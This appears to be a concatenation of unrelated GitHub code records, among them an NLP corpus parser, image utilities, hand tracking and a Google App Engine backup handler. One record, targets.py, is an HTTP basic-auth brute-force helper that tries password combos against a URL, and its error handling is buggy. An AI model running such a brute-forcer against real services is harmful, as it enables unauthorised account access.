d = Math.floor( d + day_im_ms);\r\n d = new Date(d);\r\n } catch(err) {\r\n d= err; \r\n }\r\n\r\n sel_date = formatDate(d);\r\n\r\n date_lbl = sel_date;\r\n date_lbl = date_lbl + \" open:\" + stock_dic[sel_date].Open\r\n date_lbl = date_lbl + \" close:\" + stock_dic[sel_date].Close\r\n date_lbl = date_lbl + \" high:\" + stock_dic[sel_date].High\r\n date_lbl = date_lbl + \" low:\" + stock_dic[sel_date].Low\r\n date_label.text = date_lbl\r\n \"\"\" % stock_data_dictio # <--- Observe tha dictionary that is to be replaced into the stock_dic variable\r\n\r\n # This label will display the date and price information:\r\n date_label = Label(x=30, y=self.height-50, x_units='screen', y_units='screen',\r\n text='', render_mode='css',\r\n border_line_color='white', border_line_alpha=1.0,\r\n background_fill_color='white', background_fill_alpha=1.0)\r\n\r\n date_label.text = \"\"\r\n p.add_layout(date_label)\r\n\r\n # When we create the hover callback, we pass the label and the callback code.\r\n callback = CustomJS(args={'date_label':date_label}, code=callback_jscode)\r\n p.add_tools(HoverTool(tooltips=None, callback=callback))\r\n ################################################################### \r\n\r\n return p","repo_name":"maestro27/stockcharts","sub_path":"stockcharts.py","file_name":"stockcharts.py","file_ext":"py","file_size_in_byte":8237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2373985423","text":"\"\"\"\nv0.20.5\nCorpusParser - файл, содержащий методы и классы для парсинга \nисходных текстов:\n 1. Разбивка текста на отдельные токены (слова)\n 2. Удаление общеупотребительных-слов\n 3. Выполнение операции стемминга/лемматизации\nОбработка рассчитана на тексты, написанные кириллицей и/или латиницей\n\nПараметры, которые используются классом CorpusParser задаются при\nинициализации класса\n\n#!!! - перенести глобальные переменные класса внутрь конструктора\n#!!! - реализовать:\n- список стоп-слов лучше конвертировать во множество. т.к. поиск по множеству\nбудет происходить быстрее поиска по списку\n- метод report() с выводом полного текстового отчета\n- поддержка русского, английского и рус/англ (mul, multilanguage) языков\n- проверить разные способы лемматизации для анг�� языка. Выбрать один из них\nили добавить несколько:\n - wordnet lemmatizer (сейчас)\n - spaCy\n - TextBlob\n - Pattern Lemmatizer\n - Stanford CoreNLP\n - Gensim\n (подробнее тут: \n https://webdevblog.ru/podhody-lemmatizacii-s-primerami-v-python/)\n- возможность удаления слов со слишком низкой частотой\n\"\"\"\nimport re\nimport nltk\nfrom nltk.corpus import wordnet\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.stem.snowball import SnowballStemmer\nfrom pymystem3 import Mystem\nimport sys\n\n\nclass CorpusParser:\n \n _tempWordList = None # весь текст в виде списка слов\n _stopList = [] # список общеупотребительных слов\n _stopListEng = []\n _stopListRus = []\n \n _porter = None # NLTK porter Stemmer\n _lemma = None # NLTK lemmatizer\n _snowball = None # NLTK SnowballStemmer\n _mystem = None # mystem lemmatizer\n \n #@ params\n _language = None\n _stemType = None\n _stopWordsType = None\n \n def __init__(self, language: str = 'eng', stemType: str = 'stemming',\n stopWordsType: str = 'default', ngram: str = 'unigram'):\n \"\"\"\n В конструкторе класса выполняется определение дальнейших параметров,\n которые будут использоваться при выполнении обработки текстов\n Parameters\n ----------\n language : str, optional\n Язык корпуса данных. Может принимать значения \"eng\", \"rus\", \"mul\". \n \"mul\" - мультиязычный (англ и рус). Каждый вариант, \n в первую очередь, влияет на то, какие слова будут \n игнорироваться фильтром. The default is 'eng'.\n #!!! - пока работает только англ и рус по-отдельности\n stemType : str, optional\n Тип операции приведения слова к своей основе. Доступны 2 варианта\n \"lemma\" - лемматизация, \"stemming\" - стемминг. алгоритмы \n различаются между собой как по скорости работы, так и по \n качеству приведения к основе. The default is 'stemming'.\n stopWordsType : str, optional\n выбор способа отсечения стоп-слов. The default is 'default'.\n #!!! - пока работает только отсечение заранее определённого списка\n слов\n Returns\n -------\n None.\n \"\"\"\n self._language = language\n if self._language == \"mul\":\n sys.exit(\"Error: multilanguage is not available\")\n #!!! использование одновременно двух языков пока недоступно\n \n self._stemType = stemType\n if (self._stemType == 'stem'):\n if self._language == 'rus':\n self._snowball = SnowballStemmer('russian')\n elif self._language == 'eng':\n self._porter = PorterStemmer()\n elif self._language == 'mul':\n self._snowball = SnowballStemmer('russian')\n self._porter = PorterStemmer()\n elif (self._stemType == 'lemma'):\n if self._language == 'rus':\n self._mystem = Mystem()\n elif self._language == 'eng':\n self._lemma = WordNetLemmatizer()\n elif self._language == 'mul':\n self._mystem = Mystem()\n self._lemma = WordNetLemmatizer()\n \n self._stopWordsType = stopWordsType\n if (self._stopWordsType == 'default'):\n #!!! продумать логику использования параметра стопВордс\n self._initStopWords()\n \n self._ngram = ngram\n\n def parsing(self, text:str):\n \"\"\"\n public parsing(self, text):\n Метод получает на вход исходный необработанный текст и возвращает\n текст, прошедший все выбранные этапы фильтрации. Во многом итоговый\n результат будет зависеть от того, какие параметры были заданы в\n конструкторе класса\n Parameters\n ----------\n text : str\n исходный текст.\n Returns\n -------\n str\n итоговый текст.\n \"\"\"\n # получаем текст\n # отправляем в токенайзер\n # получаем список\n # удаляем общеупотребительные слова из списка\n # отправляем список в стеммер/лемматизатор\n # возвращаем текст\n \n self._tempWordList = self._tokenizer(text)\n # <- токенайзер делит текст на токены и приводит к нижнему регистру\n \n # -> удаление стоп-слов\n if (self._stopWordsType == 'default'):\n #!!! продумать логику использования параметра стопВордс\n self._tempWordList = self._deleteStopWords(self._tempWordList)\n \n # -> выделение основы слова\n if (self._stemType != 'none'):\n tempList = []\n for w in self._tempWordList:\n if (w == '.'):\n tempList.append('.')\n continue\n tempList.append(self._stemmer(w))\n self._tempWordList = tempList\n return \" \".join(self._tempWordList)\n \n \n # @private methods\n \n def _stemmer(self, word:str):\n \"\"\"\n private _stemmer(self, word):\n В зависимости от выбранного метода стемминга, выполняется определённая\n операция. Метод определяется в конструкторе\n Parameters\n ----------\n word : str\n Исходное слово.\n Returns\n -------\n str. Слово после стемминга\n \"\"\"\n #!!! добавить мультиязычность (пока только англ и рус по-отдельности)\n if (self._language == 'eng'):\n if (self._stemType == 'lemma'):\n word = self._lemma.lemmatize(word, self._getWordnetPos(word))\n elif (self._stemType == 'stem'):\n word = self._porter.stem(word)\n \n elif (self._language == 'rus'):\n if (self._stemType == 'lemma'):\n word = self._mystem.lemmatize(word)[0]\n elif (self._stemType == 'stem'):\n word = self._snowball.stem(word)\n \n elif (self._language == 'mul'):\n sys.exit(\"Error: Multilanguage is not available\")\n return word\n\n \n def _getWordnetPos(self, word:str):\n \"\"\"\n private _getWordnetPos(self, word):\n Метод определяет POS-тег для входящего слова. Это должно улучшить\n процесс лемматизации Wordnet стеммером\n Parameters\n ----------\n word : str\n Слово, для которого будет определяться POS-тег.\n Returns\n -------\n TYPE: str\n POS-тег.\n \"\"\"\n tag = nltk.pos_tag([word])[0][1][0].upper()\n tag_dict = {\"J\": wordnet.ADJ,\n \"N\": wordnet.NOUN,\n \"V\": wordnet.VERB,\n \"R\": wordnet.ADV}\n return tag_dict.get(tag, wordnet.NOUN)\n \n \n def _tokenizer(self, text:str):\n \"\"\"\n private _tokenizer(self, text):\n метод приводит весь текст к нижнему регистру, затем выполняется \n замена последовательности небуквенных символов (в зависимости\n от выбранного языка) на одиночные пробелы. по пробелам происходит\n разделение текста на список слов\n Parameters\n ----------\n text : str\n Исходный текст.\n Returns\n -------\n TYPE\n список слов в тексте.\n \"\"\"\n text = text.lower()\n if (self._ngram == \"unigram\"):\n if self._language == 'eng':\n text = re.sub(r\"[^a-z]+\", \" \", text)\n elif self._language == 'rus':\n text = re.sub(r\"[^а-яё]+\", \" \", text)\n elif self._language == 'mul':\n text = re.sub(r\"[^a-zа-яё]+\", \" \", text)\n else:\n sys.exit(\"Error: unknown language\")\n return text.split(\" \")\n else:\n if self._language == 'eng':\n text = re.sub(r\"[^a-z.]+\", \" \", text)\n elif self._language == 'rus':\n text = re.sub(r\"[^а-яё.]+\", \" \", text)\n elif self._language == 'mul':\n text = re.sub(r\"[^a-zа-яё.]+\", \" \", text)\n else:\n sys.exit(\"Error: unknown language\")\n text = re.sub(r\"[a-zа-яё]{0,0}[\\s.]*[.]+[\\s.]*[a-zа-яё]{0,0}\", \n \" . \", text)\n # <- замена любой последовательности из точек и пробелов между\n # словами на \" . \"\n return text.split(\" \")\n \n # <- перевод в нижний регистр и замена небуквенных символов пробелами\n #!!! продумать, что делать с цифрами. нужны ли они, или \n # их нужно как другой мусор удалять\n # подсказка по регулярным выражениям:\n # \\b\\W+\\b|\\b\\W+$ - последовательности между словами (англ) и цифрами\n # \\b[\\W0-9]+\\b|\\b\\W+$ - последовательности между словами (англ)\n # [^a-zа-яA-ZА-ЯёЁ]+ - последовательности между словами русс и англ (любых)\n # [^a-zа-яё]+ - последовательности между словами русс и англ (нижн)\n # [^a-zа-яA-ZА-ЯёЁ0-9]+ - посл. межд. словами и цифрами любыми\n # [^a-z]+ - последовательности между словами (англ)\n # [a-zа-яё]{0,0}[\\s.]*[.]+[\\s.]*[a-zа-яё]{0,0} - последовательность \n # из точек и пробелов (должна быть хотя бы 1 точка) между словами\n \n\n \n def _deleteStopWords(self, wordList):\n \"\"\"\n private _deleteStopWords(self, wordList):\n метод получает список со всеми словами в тексте и удаляет лишние\n слова, согласно правилам, которые задаются в конструкторе класса\n Parameters\n ----------\n wordList : TYPE\n Исходный список.\n Returns\n -------\n wordList : TYPE\n Отформатированный список.\n \"\"\"\n newWordList = []\n for word in wordList:\n if isinstance(word, str):\n if word not in self._stopList:\n if (len(word) > 1) or (word == '.'):\n newWordList.append(word)\n return newWordList\n \n \n def _initStopWords(self):\n \"\"\"\n private _initStopWords(self):\n Метод формирует список со стоп-словами, для дальнейшего удаления\n их из списка слов в методе _deleteStopWords\n Returns None.\n \"\"\"\n stopListTrash = ['', ' ', '\\t', '\\n']\n self._stopList.extend(stopListTrash)\n if (self._language == 'eng' or self._language == 'mul'):\n self._stopList.extend(stopwords.words('english'))\n if (self._language == 'rus' or self._language == 'mul'):\n self._stopList.extend(stopwords.words('russian'))\n \n\nif __name__ == '__main__':\n cp = CorpusParser(language = 'rus', stemType = 'lemma',\n stopWordsType = 'default', ngram = \"bigram\")\n testText1 = \"\"\"The colour designations for these iron plates are as follows: \\\n It is useful to note the colour assignment \\\n of these iron plates is consistent with the heavier bumper plates \\\n The Christian beliefs of Catholicism are found in the Nicene Creed. \n The Catholic Church teaches that it is the One, Holy, Catholic and \n Apostolic church founded by Jesus Christ in his Great Commission,\n [9][10][note 1] that its bishops are the successors of Christ's \n apostles, and that the pope is the successor to Saint Peter upon \n whom primacy was conferred by Jesus Christ.[13] It maintains that \n it practises the original Christian faith, reserving infallibility, \n passed down by sacred tradition.[14] The Latin Church, the \n twenty-three Eastern Catholic Churches, and institutes such \n as mendicant orders, enclosed monastic orders and third orders \n reflect a variety of theological and spiritual emphases in \n the church.[15][16] In the UK, BMX was a craze which took \n off in the early 1980s, specifically 1982/3, when it became \n the \"must have\" bicycle for children and teenagers. Previously \n a small niche area, BMX exploded at this time into the dominant \n bicycle for the younger rider, with older teenagers and even adults\"\"\"\n testText2 = \"\"\"\n Медве́жьи[1] (лат. Ursidae) — семейство млекопитающих отряда хищных. \n Отличаются от других представителей псообразных более коренастым \n телосложением. Медведи всеядны, хорошо лазают и плавают, быстро \n бегают, могут стоять и проходить короткие расстояния на задних \n лапах. Имеют короткий хвост, длинную и густую шерсть, а также \n отличное обоняние. Охотятся вечером или на рассвете.\n\n Обычно остерегаются человека, но могут быть опасными в тех местах, \n где они привыкли к людям, особенно белый медведь и медведь гризли. \n Мало восприимчивы к пчелиным укусам из-за своей густой шерсти, \n чувствительны для медведей укусы пчёл в нос[2]. В природе естественных \n врагов почти не имеют (на юге Дальнего Востока России и в Маньчжурии на \n них могут нападать взрослые тигры.\n \"\"\"\n text = testText2\n text = cp.parsing(text)\n # print(text.lower())\n # print(re.sub(r\"[^a-zа-яё.]+\", \" \", text))\n print(text)\n ","repo_name":"karuna-heks/python_nlp","sub_path":"CorpusParser.py","file_name":"CorpusParser.py","file_ext":"py","file_size_in_byte":17611,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73354011986","text":"class Solution:\n def countPrimes(self, n: int) -> int:\n \"\"\"\n def is_prime(k):\n if k == 2 or k == 3: return True\n if k % 2 == 0 or k < 2: return False\n for i in range(3, int(k ** 0.5) + 1, 2):\n if k % i == 0:\n return False\n\n return True\n c = 0\n\n for i in range(n):\n if is_prime(i):\n c += 1\n return c\n \"\"\"\n if n < 3:\n return 0\n primes = [True] * n\n primes[0] = primes[1] = False\n for i in range(2, int(n ** 0.5) + 1):\n if primes[i]:\n primes[i * i: n: i] = [False] * len(primes[i * i: n: i])\n return sum(primes)","repo_name":"cetinca/study","sub_path":"algos/count_primes.py","file_name":"count_primes.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26925058447","text":"import Iterative\nimport Recursion\n\nx = 1\nk = 50\nres = 0.00001\nerr = 0.00001\n\n#y,errT,resT = Iterative.iterative(x,k,res,err)\n#print(\"Approximate solution: \" + str(y) + \"\\nerror: \" + str(errT) + \"\\nresidual: \" + str(resT))\n\nRecursion.recursive(x,k,res,err)\n","repo_name":"malaviya19/Data-Science","sub_path":"Iteration/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11615980682","text":"import os\nimport sys\nimport math\nimport PIL\nfrom PIL import Image\n\nif len (sys.argv) == 1 or not os.path.exists(sys.argv[1]) or not os.path.isfile(sys.argv[1]):\n sys.exit(-1)\n\nbase_filename = sys.argv[1]\nresult_filepath, result_file_name = os.path.split(base_filename)\nresult_file_name = \".\".join(result_file_name.split('.')[:-1]) + \"_mip.\" + result_file_name.split('.')[-1]\nresult_filepath = os.path.join(result_filepath, result_file_name)\nimage = Image.open(sys.argv[1])\nwidth, height = image.size\nmip_levels = int(math.floor(math.log(max([width, height]), 2))) + 1\nres_image = Image.new(image.mode, (width + (width // 2), height))\nres_image.paste(image, (0,0))\n\ntmp_h = 0\ntmp_width = width\ntmp_height = height\nfor i in range(1, mip_levels):\n tmp_height = tmp_height // 2\n tmp_width = tmp_width // 2\n small_img = image.resize(resample=PIL.Image.BICUBIC, size=(tmp_width, tmp_height))\n res_image.paste(small_img, (width, tmp_h))\n tmp_h += tmp_height\n\nprint(height + tmp_h)\nres_image.save(result_filepath)","repo_name":"Denkisen/marisa-g","sub_path":"Tools/mip_level_generator.py","file_name":"mip_level_generator.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18716125393","text":"# -*- coding=utf-8 -*-\n# @Time: 2021/8/6 16:58\n# @Author: N\n# @Software: PyCharm\n\nimport json\nimport os\nimport time\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\n\n\ndef get_mean_and_std_from_json(dir_path):\n if os.path.exists(Path(dir_path) / 'mean_and_std.json'):\n json_dic = json.load(open(Path(dir_path) / 'mean_and_std.json', 'r'))\n return json_dic['mean'], json_dic['std']\n return None\n\n\ndef get_mean_and_std(input_path_list: list, input_open_method: callable, resize_method = None,\n size_with_max_3dim = None):\n if not input_path_list: raise ValueError('container of data paths shall not be empty')\n if not (isinstance(input_path_list[0], Path) or isinstance(input_path_list[0], str)): raise ValueError(\n 'element type of input_path_list shall be Path or str')\n dir_path = os.path.split(input_path_list[0])[0]\n mean_and_std = get_mean_and_std_from_json(dir_path)\n if mean_and_std:\n return mean_and_std\n print('Needing some time to calculate mean and std, just wait up.', flush = True)\n proc_bar = tqdm(desc = 'calculation', total = len(input_path_list), ncols = 0, unit = 'img', delay = 0.1)\n shape = size_with_max_3dim if size_with_max_3dim else np.array(input_open_method(input_path_list[0])).shape\n pixels_per_img = shape[0] * shape[1]\n num_images = len(input_path_list)\n if len(shape) == 3:\n img_mean_sum, residual_square_sum = [0 for _ in range(3)], [0 for _ in range(3)]\n for path in input_path_list:\n input_img = np.array(input_open_method(path))\n input_img = resize_method(input_img) if resize_method else input_img\n input_img = input_img.transpose((2, 0, 1)) / 255\n for i in range(len(shape)):\n scratch_mean = input_img[i].sum() / pixels_per_img\n img_mean_sum[i] += scratch_mean\n residual_square_sum[i] += (\n ((input_img[i] - np.ones(shape[:2]).astype(float) * scratch_mean) ** 2).sum())\n proc_bar.update(1)\n mean, std = [img_mean_sum[i] / num_images for i in range(3)], [\n (residual_square_sum[i] / ((pixels_per_img * num_images - 1))) ** (1 / 2) for i in range(3)]\n elif len(shape) == 2:\n img_mean_sum, residual_square_sum = 0, 0\n for path in input_path_list:\n input_img = np.array(input_open_method(path))\n input_img = resize_method(input_img) if resize_method else input_img\n input_img = input_img / 255\n scratch_mean = input_img.sum() / pixels_per_img\n img_mean_sum += scratch_mean\n residual_square_sum += (\n ((input_img - np.ones(shape).astype(float) * scratch_mean) ** 2).sum())\n proc_bar.update(1)\n mean, std = [img_mean_sum / num_images], [\n (residual_square_sum / ((pixels_per_img * num_images - 1))) ** (1 / 2)]\n else:\n raise ValueError('incorrect input image format')\n json.dump({'mean': mean, 'std': std}, open(Path(dir_path) / 'mean_and_std.json', 'w'))\n time.sleep(0.1)\n print(\n 'Calculation complete, the result stored in mean_and_std.json under data dir is as following: \\nmean: {}, std: {}\\nOn with the show.'.format(\n [float(f'{elem:.3f}') for elem in mean], [float(f'{elem:.3f}') for elem in std]), flush = True)\n return mean, std\n\n\ndef resize_keep_aspectratio(img_arr, dst_size, is_label: bool = False):\n src_h, src_w = img_arr.shape[:2]\n dst_h, dst_w = dst_size\n interpolation = cv2.INTER_NEAREST if is_label else cv2.INTER_LINEAR\n\n # to judge do with height-wise or width-wise\n h = dst_w * (float(src_h) / src_w)\n w = dst_h * (float(src_w) / src_h)\n\n h = int(h)\n w = int(w)\n\n if h <= dst_h:\n image_dst = cv2.resize(img_arr, (dst_w, int(h)), interpolation = interpolation)\n else:\n image_dst = cv2.resize(img_arr, (int(w), dst_h), interpolation = interpolation)\n\n h_, w_ = image_dst.shape[:2]\n\n top = int((dst_h - h_) / 2)\n down = int((dst_h - h_ + 1) / 2)\n left = int((dst_w - w_) / 2)\n right = int((dst_w - w_ + 1) / 2)\n\n value = [0, 0, 0]\n borderType = cv2.BORDER_CONSTANT\n image_dst = cv2.copyMakeBorder(image_dst, top, down, left, right, borderType, None, value)\n\n return image_dst\n\n\ndef get_label_boundary(img_arr, dst_size):\n if not dst_size:\n raise Exception('dst_size should be indicated')\n src_h, src_w = img_arr.shape[:2]\n dst_h, dst_w = dst_size\n\n # to judge do with height-wise or width-wise\n h = dst_w * (float(src_h) / src_w)\n w = dst_h * (float(src_w) / src_h)\n\n h = int(h)\n w = int(w)\n\n if h <= dst_h:\n h_, w_ = int(h), dst_w\n else:\n h_, w_ = dst_h, int(w)\n\n top = int((dst_h - h_) / 2)\n down = int((dst_h - h_ + 1) / 2)\n left = int((dst_w - w_) / 2)\n right = int((dst_w - w_ + 1) / 2)\n\n h_up_boundary = top\n h_down_boundary = h_ + top\n w_left_boundary = left\n w_right_boundary = left + w_\n\n return torch.LongTensor([h_up_boundary, h_down_boundary, w_left_boundary, w_right_boundary])\n","repo_name":"Non-demon/Segmentation-Suite","sub_path":"utils/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":5136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40030482896","text":"\"\"\"Basic brute force target templates (http basic authentication, etc.)\r\n\r\n/:-:/. `-----` ./:-:/\r\n-/ o` -+//::----//+o- ``o /-\r\n+. --::--o: `/o::--- .+\r\n::-:-::.``.d` E x 0 d u S -y``-:-----:\r\n `--+s`- :`m--` \r\n -h:`. ` ` `..:h` \r\n //`smso:.oo+.:+hNo`s: \r\n `-s +dsNmshohsmhhd/ y- \r\n ....-:-+o `..`-mNm-`..` o+:--..-` \r\n /-`````-/o+:/y .s-s` s+:/+:. ````o \r\n -:-- +` :h//-/:/-++h/ `o `:-/ \r\n ::-+ +/:m/N/d/:o ::-+` \r\n /h.` `.h+\"\"\"\r\n__author__ = 'ex0dus'\r\n__version__ = '1.0'\r\n\r\nimport requests\r\n\r\nclass BasicAuthTarget:\r\n \"\"\"Basic authentication over HTTP for br00ter\"\"\"\r\n\r\n def __init__(self, url, session, username, reset_session=False):\r\n self.url = url\r\n self.session = session\r\n self._reset_session = reset_session\r\n self.username = username\r\n\r\n def test(self, combo):\r\n \"\"\"Test a combo\"\"\"\r\n while True:\r\n try:\r\n print('Checking {}'.format(combo))\r\n print('Cookies: {}'.format(self.session.cookies))\r\n res = self.session.get(self.url, auth=(self.username, combo))\r\n print(res)\r\n succ = res.status_code == 200\r\n print(('Successful combo {}' if succ else '{} incorrect').format(combo))\r\n break\r\n except KeyboardInterrupt:\r\n return None, False\r\n except:\r\n print('{} checking {}, retrying'.format(e, combo))\r\n return combo, succ\r\n\r\nclass FormAuthTarget:\r\n \"\"\"Form-based authentication over HTTP for br00ter\"\"\"\r\n\r\n def __init__(self):\r\n pass\r\n","repo_name":"roryeckel/brooter","sub_path":"targets.py","file_name":"targets.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38546856580","text":"\nimport pandas as pd\nimport numpy as np\nfrom db_util import getter_juice\n\ndef juice_comments():\n all_data = getter_juice()\n df = pd.DataFrame(all_data)\n df['amount'] = df['amount'].str.replace('Ξ', '')\n # print(df.head())\n df.to_excel('juice_comments_22DEC.xlsx', index=False)\n\n\njuice_comments()\n\ndef read_save_csv():\n df = pd.read_csv('juice_comments_2.csv')\n # df.to_csv('juice_comments_3.csv', index=False)\n print(df.head())\n\n# read_save_csv()\n# Order #622566449287399\n# Placed on 16 Dec 2021 11:14:50\n# Never ever Recommended\n# দুই প্যাকেট এসিআই সুরক্ষা জৈব সার অর্ডার করেছিলাম, এক প্যাকেট জৈব সার আর এক প্যাকেট রেডিমিক্স সয়েল পাঠায়ে দিছে। কাছাকাছি নামে শপ () ও একই প্রোডাক্টের(রিভিউ খারাপ থাকলে) নতুন পোস্ট এই শপের সততার বিষয়ে সন্দেহের উদ্রেকও করে। ","repo_name":"webguybit/python-scripts","sub_path":"juicebox_scrap/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"bn","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20692629727","text":"#Import all modules:\nimport cv2\nimport mediapipe as mp\nimport time\n\ncap = cv2.VideoCapture(0)\n\nmpHands = mp.solutions.hands #For detecting the hands\nhands = mpHands.Hands() #Hands parameters: static_image_mode= False, max_num_hands=2, min_detection_confidence=0.5, min_tracking_confidence=0.5\n\n\nmpDraw = mp.solutions.drawing_utils #For drawing the landmarks.\n\n#FPS initialization:\npTime = 0 #Previous time\ncTime = 0 #Current time\n###\n\nwhile True:\n success, img = cap.read()\n\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) #The hands object only uses RGB images.\n results = hands.process(imgRGB) #The process method of hands object processes all the image frames and provides the final result.\n # print(results.multi_hand_landmarks) #To print whether hand landmarks getting detected or not.\n \n if results.multi_hand_landmarks: #If the results is true, execute this.\n for handLms in results.multi_hand_landmarks: #For each hand Landmarks, execute this.\n for id, lm in enumerate(handLms.landmark): #ID represents the specific points detected on each hand and lm represents the x,y,z coordinates of those hand ID points.\n print(id,lm)\n h, w, c = img.shape #Getting height, width and channel of image.\n cx, cy = int(lm.x*w), int(lm.y*h) #cx and cy show the center x and y coordinates\n if id == 4: #Showing one index differently than the rest.\n cv2.circle(img, (cx,cy), 15, (255,0,255), cv2.FILLED)\n mpDraw.draw_landmarks(img, handLms, mpHands.HAND_CONNECTIONS) #Drawing and connecting all the landmark points of each hand.\n \n #FPS calculation and display works:\n cTime = time.time()\n fps = 1/(cTime-pTime)\n pTime = cTime\n \n cv2.putText(img, str(int((fps))), (10,70), cv2.FONT_HERSHEY_PLAIN, 3, (255,0,255), 3)\n ###\n\n cv2.imshow('Image', img)\n cv2.waitKey(1)","repo_name":"AlviKhan99/Hand-Tracking-OpenCV-Python","sub_path":"HandTrackingBasic.py","file_name":"HandTrackingBasic.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29870689294","text":"# generic imports for all methods\nfrom google.appengine.ext import db\nimport simplr\nimport webapp2\nimport logging\n# methods\ndef validateRequest(request,page):\n\tfrom google.appengine.api.datastore import Key\n\ttry:\n\t\ttoken = accesstoken.all().filter('__key__ =',Key(request.get('a')))\n\texcept:\n\t\treturn False\n\tif token.count() > 0:\n\t\ttoken = token.get()\n\t\tif simplr.extract(token.url,'as2df4gh78jklqweo1iu') == page:\n\t\t\ttoken.delete()\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\treturn False\ndef populate(namespace):\n\timport json\n\tbackup = {\n\t\t'backup':[db.to_dict(u) for u in namespace.all()]\n\t}\n\treturn json.dumps(backup)\ndef restore(namespace,backup):\n\timport json\n\tbackup = json.loads(backup)\n\tdb.delete(namespace.all(keys_only=True))\n\tfor item in backup['backup']:\n\t\tnu = namespace()\n\t\tnu.json = item['json']\n\t\tnu.email = item['email']\n\t\tnu.put()\n\t\tdata = None\n# webapp handlers\nclass BackupRequest(webapp2.RequestHandler):\n\tdef get(self):\n\t\timport simplr\n\t\tlogging.info('Backup Request Detected: verifying legitimacy.')\n\t\tif simplr.valid(self.request.get('dt')):\n\t\t\tlogging.info('Backup Request Allowed: feeding data.')\n\t\t\tself.response.headers['Content-Type'] = \"text/javascript\"\n\t\t\tself.response.out.write(populate(data['model']))\n\t\telse:\n\t\t\tlogging.warning('Illegal Backup Request: invalid access token; access forbidden.')\n\t\t\tself.error(403)\n\tdef post(self):\n\t\tself.error(403)\nclass RestoreRequest(webapp2.RequestHandler):\n\tdef get(self):\n\t\timport urllib2\n\t\tlogging.info('Restore Request Detected: verifying legitimacy.')\n\t\turl = data['backupdrive']+'/VBVQCflHOBX0Pixz2pFo%s&d=%s' % (self.request.get('q'), self.request.get('k'))\n\t\tlogging.info('Restore Request Allowed: requesting data from %s now.' % url)\n\t\ttry:\n\t\t\tbackup = urllib2.urlopen(url).read()\n\t\t\tlogging.info('Restoration File Successfully Read: reseting the datastore')\n\t\t\trestore(data['model'],backup)\n\t\t\tlogging.info('Restoration Successful')\n\t\t\tself.redirect(data['backupdrive']+'/?m=Restoration Successful')\n\t\texcept Exception as error:\n\t\t\tlogging.error(error)\n\t\t\tself.error(403)\n\tdef post(self):\n\t\tself.error(403)\ndef WSGIApplication(routes,debug=False):\n\tif data == None:\n\t\traise Exception(\"backupdrive and model references must be set\")\n\telse:\n\t\tif not 'backupdrive' in data or not 'model' in data:\n\t\t\traise Exception(\"backupdrive and model references must be set\")\n\treturn webapp2.WSGIApplication([('/HFrUAGfXSalEo0hSeeEq',BackupRequest),('/iSJpvIINXZ3cxLYeM3z8',RestoreRequest)]+routes,debug=debug)","repo_name":"HunterLarco/GAE-db-Model-Archive-API","sub_path":"Examples/timemachine/lib/archive/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"783213571","text":"# -*- coding: utf-8 -*-\n'''\n.. _module_mc_bind:\n\nmc_bind / named/bind functions\n============================================\nFor the documentation on usage, please look :ref:`bind_documentation`.\n'''\n\n__docformat__ = 'restructuredtext en'\n# Import python libs\nimport logging\nimport mc_states.utils\nfrom copy import deepcopy\nimport copy\nimport string\nfrom pprint import pformat\nimport shutil\nimport tempfile\nimport os\nfrom salt.utils.pycrypto import secure_password\nfrom salt.utils.odict import OrderedDict\n\n__name = 'bind'\n\nlog = logging.getLogger(__name__)\n\n\ndef generate_tsig(length=128):\n ret = ''\n strings = string.ascii_letters + string.digits\n with open('/dev/urandom', 'r') as fic:\n while len(ret) < length:\n char = fic.read(1)\n if char in strings:\n ret += char\n return ret.encode('base64')\n\n\ndef tsig_for(id_, length=128):\n kid = 'makina-states.services.dns.bind.tsig.{0}'.format(id_)\n local_conf = __salt__['mc_macros.get_local_registry']('bind')\n key = local_conf.get(kid, None)\n if not key:\n local_conf[kid] = generate_tsig(length=length)\n __salt__['mc_macros.update_local_registry']('bind', local_conf)\n return local_conf[kid]\n\n\ndef settings():\n '''\n Named settings\n\n Without further configuration, this will setup\n a caching name server.\n With a little effort, you can easily turn this server\n in a powerful and flexible nameserver.\n\n For the documentation on usage, please look :ref:`bind_documentation`.\n\n pkgs\n pkg to install for a named install\n config\n master config file path\n local_config\n local master config file path\n options_config\n options config file path\n default_zones_config\n default zone config file path\n dnssec\n do we use dnssec (not implemented now)\n named_directory\n var directory\n user\n user for named service (root)\n group\n group for named service (named)\n service_name\n service name\n mode\n configuration files mode ('640')\n\n views\n List of managed view names\n zones\n List of managed zones names\n serial\n 2014030501\n slaves\n default dns server slaves if any\n ttl\n 300\n refresh\n 300\n retry\n 60\n expire\n 2419200\n minimum\n 299\n rndc_conf\n path to rndc configuration\n rndc_key\n path to rndc key\n servers_config_template\n salt://makina-states/files/etc/bind/named.conf.servers\n key_config_template\n {{settingsnsalt://makina-states/files/etc/bind/named.conf.key\n bind_config_template\n 